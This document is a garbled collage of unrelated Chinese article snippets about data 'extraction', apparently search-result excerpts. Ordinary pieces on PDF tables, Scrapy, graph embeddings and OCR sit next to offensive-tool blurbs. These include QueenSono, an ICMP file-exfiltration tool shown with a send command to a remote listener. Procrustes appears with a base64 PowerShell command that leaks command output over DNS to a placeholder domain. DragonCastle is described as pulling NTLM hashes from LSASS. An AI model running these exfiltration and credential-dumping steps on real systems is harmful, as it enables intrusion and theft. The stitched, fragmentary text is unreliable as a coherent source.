关于IPGeo IPGeo是一款功能强大的IP地址提取工具，该工具基于Python 3开发，可以帮助广大研究人员从捕捉到的网络流量文件（pcap/pcapng）中提取出IP地址，并生成CSV格式的报告...在生成的报告文件中，将提供每一个数据包中每一个IP地址的地理位置信息详情。 ...8、纬度； 9、时区、 10、互联网服务提供商； 11、组织机构信息； 12、IP地址； 依赖组件 在使用该工具之前，我们首先需要使用pip3包管理器来安装该工具所需的依赖组件...： pip3 install colorama pip3 install requests pip3 install pyshark 如果你使用的不是Kali或ParrotOS或者其他渗透测试发行版系统的话...接下来，广大研究人员可以使用下列命令将该项目源码克隆至本地： git clone https://github.com/z4l4mi/IpGeo.git 工具使用 运行下列命令即可执行IPGeo
关于apk2url apk2url是一款功能强大的公开资源情报OSINT工具，该工具可以通过对APK文件执行反汇编和反编译，以从中快速提取出IP地址和URL节点，然后将结果过滤并存储到一个.txt输出文件中...该工具本质上是一个Shell脚本，专为红队研究人员、渗透测试人员和安全开发人员设计，能够实现快速数据收集与提取，并识别目标应用程序相关连的节点信息。...值得一提的是，该工具与APKleaks、MobSF和AppInfoScanner等工具相比，能够提取出更多的节点信息。.../install.sh 工具使用 扫描单个APK文件： ./apk2url.sh /path/to/apk/file.apk 扫描多个APK文件（提供目录路径） ....项目地址 apk2url： https://github.com/n0mi1k/apk2url
学习如何使用DeepWalk从图中提取特征 我们还将用Python实现DeepWalk来查找相似的Wikipedia页面 介绍 我被谷歌搜索的工作方式迷住了。每次我搜索一个主题都会有很多小问题出现。...我们将从图数据集中提取特征，并使用这些特征来查找相似的节点(实体)。...我们首先从文本或图像中提取数字特征，然后将这些特征作为输入提供给机器学习模型： 从图中提取的特征可以大致分为三类： 节点属性：我们知道图中的节点代表实体，并且这些实体具有自己的特征属性。...我们如何从图中获得这些序列？有一项针对该任务的技术称为随机游走。 什么是随机游走？ 随机游走是一种从图中提取序列的技术。我们可以使用这些序列来训练一个skip-gram模型来学习节点嵌入。...我们将使用Wikipedia文章图，并使用DeepWalk从中提取节点嵌入。然后，我们将使用这些嵌入来查找相似的Wikipedia页面。 我们不会触及这些文章中的任何文本。
关于QueenSono QueenSono是一款针对ICMP协议的数据提取工具，该工具基于Golang开发，并且只依赖于ICMP协议不受监控这一事实实现其功能。...工具安装 从源码安装 广大研究人员可以直接使用下列命令将该项目源码克隆至本地，并安装好该工具所需的依赖组件： git clone https://github.com/ariary/QueenSono.git...所有的命令和工具参数都可以使用“—help”来查看。...127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt 参数解释： send file：发送文件 -d 2：每两秒发送一个数据包 -l 127.0.0.1：每次接收回复信息的监听地址...-r 10.0.0.92：运行了qsreceiver 监听器的远程设备地址 -s 50000：每个数据包需要发送的数据量大小 工具使用样例2：发送包不携带“ACK” 在这个例子中，我们希望在不等待回复信息的情况下发送数据
然而，由于可移植文档格式(pdf)文件是最常用的文件格式之一，因此每个数据科学家都应该了解如何从pdf文件中提取数据，并将数据转换为诸如“csv”之类的格式，以便用于分析或构建模型。...在本文中，我们将重点讨论如何从pdf文件中提取数据表。类似的分析可以用于从pdf文件中提取其他类型的数据，如文本或图像。...我们将说明如何从pdf文件中提取数据表，然后将其转换为适合于进一步分析和构建模型的格式。我们将给出一个实例。 ?...02 示例:使用Python从PDF文件中提取一个表格 a)将表复制到Excel并保存为table_1_raw.csv ? 数据以一维格式存储，必须进行重塑、清理和转换。...d)使用字符串处理工具进行数据纠缠 我们从上面的表格中注意到，x5、x6和x7列是用百分比表示的，所以我们需要去掉percent(%)符号: df4['x5']=list(map(lambda x: x
它提供了相关编程接口，可以通过识别新链接来抓取Web数据，并可以从下载的内容中提取结构化数据。...使用Scrapy Shell Scrapy提供了两种简单的从HTML中提取内容的方法： response.css()方法使用CSS选择器来获取标签。...检索btnCSS类中的所有链接，请使用： response.css("a.btn::attr(href)") response.xpath()方法从XPath查询中获取标签。...要检索链接内所有图像的资源地址，请使用： response.xpath("//a/img/@src") 您可以尝试使用交互式的Scrapy shell： 在您的网页上运行Scrapy shell： scrapy...1.编辑linkChecker/spiders/link_checker.py文件以提取所有标签并获取href链接文本。
Procrustes Procrustes是一个能够自动从DNS流量中提取出数据的Bash脚本，我们可以使用该脚本来检测服务器端执行的Blind命令。...下面给出的是支持的命令转换形式，针对的是提取命令“ls”生成的转换命令。...VABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA= 工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地...： git clone https://github.com/vp777/procrustes.git 工具使用 1、本地Bash测试： ..../procroustes_chunked.sh --help 项目地址：点击底部【阅读原文】获取
假设我们通过爬虫获取了上万条不规范的地址信息： 杭州市滨江区网商路599号 东城区和平里街道 上海市徐汇区 xx 小区 ......现在老板想让你把这些地址统一格式化为标准的省市区地址格式，并写入到 Excel 中。你应该如何操作？ 有一个库，叫做 cpca，可以非常方便地解决这个问题。...这个库能自动根据你写的部分地址，推测出这个地址所在的省市区。即使你把省市区省略了一部分，或者是使用简称，它也能识别出来，如下图所示： ?...大家可以访问 GitHub - DQinYuan/chinese_province_city_area_mapper: 一个用于提取简体中文字符串中省，市和区并能够进行映射，检验和简单绘图的python...参考资料 [1] GitHub - DQinYuan/chinese_province_city_area_mapper: 一个用于提取简体中文字符串中省，市和区并能够进行映射，检验和简单绘图的python
由于一个知识星球的小伙伴急需学习如何从 PDF 文档中提取表格，所以先插这个课，「使用 R 语言处理 netCDF 数据」系列的课程下次再发新的哈。...本课程介绍了如何使用 R 语言从 WHO（世界卫生组织）的官网上下载新冠疫情的每日报告以及如何从这些报告中的表格里面提取数据。...下载所有的 PDF 报告 报告的下载地址为：https://www.who.int/emergencies/diseases/novel-coronavirus-2019/situation-reports...从 PDF 里面提取表格数据 我选择最新的一个 PDF 做演示：20200523-covid-19-sitrep-124.pdf，下面使用 tabulizer 包进行数据提取，不过这个包依赖于 rJava...包，因此在使用这个包之前你需要在电脑上安装 Java 和在 R 里面安装 rJava 包。
2022年8月26日16点36分 如何使用PHP从JSON提取数据？
标签：Excel公式练习 这是一个有趣的题目，假设电子邮件地址的格式如下： 名字任何非字母.字符姓氏@email.com 说明： 1.假设姓名中只有英文字母。...2.电子邮件地址只包含名字_分隔符_姓氏，没有中间名或其他前缀或后缀等。 3.电子邮件地址在单元格A1中。...提取“@”前的字符很简单，利用FIND函数找到“@”的位置，再用LEFT函数即可提取： LEFT(B4,FIND("@",B4)-1) 然后，将其拆分成单个字符，使用经典的MID/ROW函数组合： MID...)-1)),1))>96)*(CODE(MID(LEFT(B4,FIND("@",B4)-1),ROW(INDIRECT("1:"& FIND("@",B4)-1)),1))<123),)-1 这样，使用...利用提取出的名字，去掉前面的名字部分，然后按相同的思路，提取姓氏。
关于UnBlob UnBlob是一款针对容器安全的强大工具，该工具可以从任意格式的容器中提取文件。该工具运行速度非常快，准确率高，并且易于使用。...除此之外，该工具还能够以Python库的形式来使用。这些特性使得UnBlob成为文件/数据提取、分析和逆向固件镜像的完美工具。...； 3、可扩展性强：UnBlob提供了一个API，广大研究人员可以自行编写自定义格式处理器和数据提取器； 4、运行速度快：UnBlob的运行速度非常快，默认使用多线程机制； 技术特性 1、UnBlob...基于Python语言开发； 2、为了快速搜索文件中的代码模式，使用了Hyperscan； 3、为了提取已识别的格式，使用了各种不同类型的数据提取工具； 4、针对ELF分析，使用了LIEF及其Pythonbinding...项目地址 UnBlob：https://github.com/onekey-sec/unblob 参考资料: https://unblob.org/ https://onekey.com/ https
关于DragonCastle DragonCastle是一款结合了AutodialDLL横向渗透技术和SSP的安全工具，该工具旨在帮助广大研究人员从LSASS进程中提取NTLM哈希。...一旦LSASS加载了DLL，它就会在进程内存中进行搜索，以提取NTLM哈希和密钥/IV。 ...广大研究人员可以使用下列命令将该项目源码克隆至本地： git clone https://github.com/mdsecactivebreach/DragonCastle.git （向右滑动，查看更多...Kerberos身份验证 -dc-ip ip address 域控制器的IP地址 -target-ip ip address 目标设备的IP地址 -local-dll dll to...Windows服务器地址为192.168.56.20，域控制器地址为192.168.56.10： psyconauta@insulanova:~/Research/dragoncastle|⇒ python3
关于GitBleed GitBleed是一款针对Git库镜像的安全检测工具，该工具包含了多个Shell脚本，可以帮助广大研究人员下载克隆的Git库和Git库镜像，然后从中提取各种数据，并分析两者之间的不同之处...功能介绍 工具提供的脚本能够克隆指定Git库的副本，即常规克隆（git clone）或使用“--mirror”选项来使用Git库镜像。...最后，工具还会尝试提取出的数据中是否存在敏感信息或密码凭证等等。任务执行完成之后，工具将会输出分析结果。 请注意，工具脚本的运行过程中将会创建三份代码库副本，并且会消耗掉一定的磁盘空间。...我们可以在macOS上使用下列命令完成这些工具组件的安装： brew install git python3 gitleaks git-filter-repo 工具安装 广大研究人员可以使用下列命令将该项目源码克隆至本地...项目地址 https://github.com/nightwatchcybersecurity/gitbleed_tools 参考资料 https://wwws.nightwatchcybersecurity.com
本文中，云朵君将和大家一起学习如何使用 TFIDF，并以一种流畅而简单的方式从文本文档中提取关键字。 关键词提取是从简明概括长文本内容的文档中，自动提取一组代表性短语。...生成 n-gram 并对其进行加权 首先，从文本特征提取包中导入 Tfidf Vectorizer。...[image-20220410140031935](使用 Python 和 TFIDF 从文本中提取关键词.assets/image-20220410140031935.png) 第一个文档的字典内容...首先使用精确匹配进行评估，从文档中自动提取的关键短语必须与文档的黄金标准关键字完全匹配。...TFIDF和Python从文档中提取关键字的简单方法。
Hamilton","title":"Hamilton","author":"Lin-Manuel Miranda, Jeremy McCarter","link":""}]'''}, ]提取的书籍数据类似与这样的
网络爬虫是一种强大的工具，用于从互联网上的网页中收集和提取数据。Python是一个流行的编程语言，具有丰富的库和框架，使得构建和运行网络爬虫变得相对容易。...本文将深入探讨如何使用Python构建一个简单的网络爬虫，以从网页中提取信息。 Python爬虫的基本原理 网络爬虫的基本原理是模拟人类在Web上浏览页面的过程。...html_content, 'html.parser') # 提取标题文本 title = soup.title.string # 打印标题 print('网页标题:', title) 这个示例演示了如何使用...数据提取与分析 爬虫不仅可以用于数据收集，还可以用于数据分析。例如，您可以爬取多个网页，提取数据并进行统计分析，以获取有关特定主题的见解。以下是一个示例，演示如何从多个网页中提取数据并进行分析。...总结 网络爬虫是一项强大的技术，可用于从互联网上的网页中提取数据。Python提供了丰富的库和工具，使得构建网络爬虫变得相对容易。
本上，OCR（光学字符识别）引擎可以让你从图片或文件（PDF）中扫描文本。默认情况下，它可以检测几种语言，还支持通过 Unicode 字符扫描。...因此，gImageReader 就来解决这点，它可以让任何用户使用它从图像和文件中提取文本。 让我重点介绍一些有关它的内容，同时说下我在测试期间的使用经验。...直接通过应用扫描图像 能够一次性处理多个图像或文件 手动或自动识别区域定义 识别纯文本或 hOCR 文档 编辑器显示识别的文本 可对对提取的文本进行拼写检查 从 hOCR 文件转换/导出为 PDF 文件...gImageReader 使用经验 当你需要从图像中提取文本时，gImageReader 是一个相当有用的工具。当你尝试从 PDF 文件中提取文本时，它的效果非常好。...对于从智能手机拍摄的图片中提取，检测很接近，但有点不准确。也许当你进行扫描时，从文件中识别字符可能会更好。 所以，你需要亲自尝试一下，看看它是否对你而言工作良好。
这些向量不仅不能真正代表我们的相似性概念，而且它们的体积也很大，无法在实际中使用。...我们正在构建一个模型，该模型试图使用被标签包围的单词来预测单词。通常以两种方式完成。我们要么从某个单词的所有邻居来构造单词向量，要么从某个单词来构造其所有邻居。 ?...使用单词嵌入 单词嵌入可以极大地改善诸如文本分类，命名实体识别，机器翻译等等任务的执行效果。...它产生了基于我们定义的原则和从图中获得的知识的图节点嵌入。 Node2Vec 性质 Node2Vec表示改进了节点的聚类和分类模型。嵌入中学习到的相似性将有助于欺诈检测等任务。...https://arxiv.org/pdf/1503.00759.pdf 我们正在训练我们的嵌入以最小的信息损失从节点嵌入重建 知识图谱的边。 负采样 我们的训练方法有点问题。
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